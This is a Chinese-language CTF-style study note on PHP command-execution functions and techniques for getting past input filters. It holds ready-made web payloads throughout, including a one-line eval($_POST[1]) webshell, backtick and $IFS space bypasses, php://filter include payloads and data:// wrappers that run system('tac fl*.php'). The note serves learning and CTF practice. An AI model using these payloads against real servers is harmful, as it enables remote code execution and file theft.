命令执行小总计
一:PHP命令执函数
当里面有函数被过滤了可以用其他函数代替
system(' ')
本函数执行 command
参数所指定的命令, 并且输出执行结果。
如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。
格式
passthru('')
passthru — 执行外部程序并且显示原始输出
passthru() 函数 也是用来执行外部命令(command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数
格式:passthru ( string $command)
shell_exce(' ')
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
范例:
<?php $output = shell_exec('ls -lart'); echo "<pre>$output</pre>"; ?>
exce(' ')
exec() 执行 command
参数所指定的命令。
注意此函数没有回显
popen(' ')
popen — 打开进程文件指针
popen ( string $command , string $mode )//前面是参数后面是模式
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
返回值
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 'r',返回的文件指针等于命令的 STDOUT,当模式为 'w',返回的文件指针等于命令的 STDIN。
pcntl_exec(' ')
pcntl_exec — 在当前进程空间执行指定程序
void pcntl_exec( string $path[, array $args[, array $envs]] )
path
path
必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。
args
args
是一个要传递给程序的参数的字符串数组。
envs
envs
是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
liux命令nl
此外liux命令nl也可以实现代替
nl
命令在Linux
系统中用来计算文件的行号,是 number of lines 的缩写。nl
可以将输出的文件自动加上行号!其默认的结果与cat -n
有点不太一样,nl
可以自定义行号显示效果,包括位数和自动补全0。
二:过滤绕过
1.空格过滤
(1)初级:引入绕过空格过滤的字符:<
、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
(2)较高级:环境变量截取
jlgs=aabbcc//假设这是环境变量 ${jlgs:4:1}//截取格式,从第四个开始截取 //截取到的符号为c
(3)过滤php
可以使用PHP段标签 <?= ?> <= 等于 <?php
2.同时过滤空格,单引号,点,分号等
(1)可以用echo 与反斜杠来进行命令执行用上面的空格替代品来代替空格
echo`tac<>fl*`;// ``在echo函数中``里面的字符会被当做命令执行
(2)逃逸 通过传参路径直接绕过匹配
@如果是对get传参进行过滤可以用一句话木马:eval($_POST[1]);然后通过post传参直接绕过
注意POST在一句话木马里面得大写,还有如果是通过eval语言结构进行命令执行的话不要忘了后面的 ; 因为eval函数执行的是PHP代码 ;分号是PHP代码的结束语
@如果是post传参则反之
@逃逸出需要验证的变量
如需要验证的变量是c,这里直接在url上写上一句话木马eval($_GET[1]);让值复制给1,就可以进行逃逸了
(3)分号被过滤
当分号被过滤时,如果是作为PHP最后一行代码的话可以省略;
如phpinfo(); 当为最后一行代码时分号可以被省略就变成 PHPinfo()?>
只要有PHP的后标识就行。
3.无参数的命令执行
如有eval()
函数的时候但是对参数有过多限制且没过滤英文,英文括号,和分号就可以使用无参数的命令执行
show_source(next(array_reverse(scandir(pos(localeconv())))));
函数解析
@show_source — 别名 highlight_file()
使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename
文件中语法高亮版本的代码。
@next()
将数组指针一项下一位
next() 和 current() 的行为类似,只有一点区别,在返回值之前将内部指针向前移动一位。这意味着它返回的是下一个数组单元的值并将数组指针向前移动了一位。
@array_reverse()
是将数组颠倒
array_reverse() 接受数组 array
作为输入并返回一个单元为相反顺序的新数组
@scandir('.')
这个函数的作用是扫描当前目录
scandir — 列出指定路径中的文件和目录
@pos()/current()
函数返回数组第一个值
current() 的别名 current() 函数返回当前被内部指针指向的数组单元的值,并不移动指针。如果内部指针指向超出了单元列表的末端,current() 返回 FALSE
。
@localeconv()
函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
这=无参数命令执行参考于:https://www.cnblogs.com/iwantflag/p/15493730.html
4.括号被过滤
想一下不需要使用括号的函数(这里函数不严谨应该说是语言结构),如echo include require 正常是前面三个用来逃逸过滤print isset unset
@echo 输出所有参数。不会换行。
echo 不是一个函数(它是一个语言结构), 因此你不一定要使用小括号来指明参数,单引号,双引号都可以。 echo (不像其他语言构造)不表现得像一个函数, 所以不能总是使用一个函数的上下文。 另外,如果你想给echo 传递多个参数, 那么就不能使用小括号。
@include &require include 语句包含并运行指定文件(这种方式也是逃逸)。
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。 补:include包含php文件不会在页面显示出来
**所以需要配合伪协议一起使用:php://filter/convert.base64-encode/resource=这里就是你需要包含的东西。
如何写payload呢比如 ?c=include%0a$_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
注:1、这里的GET[1]可以不用单引号是因为PHP为了向下兼容,现在还没有禁止这种写法
2、如果分号被过滤可以使用上面说的 ?>
有兴趣可以了解一下PHP伪协议的相关内容https://blog.csdn.net/qq_64201116/article/details/125926612
5.伪协议
(1)data伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)。base64编码可写可以不写看情况
data伪协议只有在php<5.3且include=on时可以写木马。
试用示例
?c=data://text/plain,<?=system('tac fl*.php');?>
常会与cp配套使用, 如:<?=system('cp fl*.* 1.txt');?>
协议常用的数据格式
1.data:, <文本数据> 2.data:text/ plain, <文本数据> 3.data:text/html, <HTML代码> 4.data:text/html;base64, < base64编码的HTML代码> 5.data:text/css, <CSS代码> 6.data:text/css;base64, < base64编码的CSS代码> 7.data:text/javascript, <Javascript代码> 8.data:text/javascript; base64, < base64编码的Javascript代码> 9.data:image/gif; base64,base64编码的gif图片数据 10.data:image/ png;base64, base64编码的png图片数据 11.data:image/jpeg;base64,base64编码的jpeg图片数据
6.异或
当过滤掉很多符号时,同时还剩下 | 号,;号,%号,^号时可以考虑异或
https://blog.csdn.net/miuzzx/article/details/108569080
这是羽师傅写的异或脚本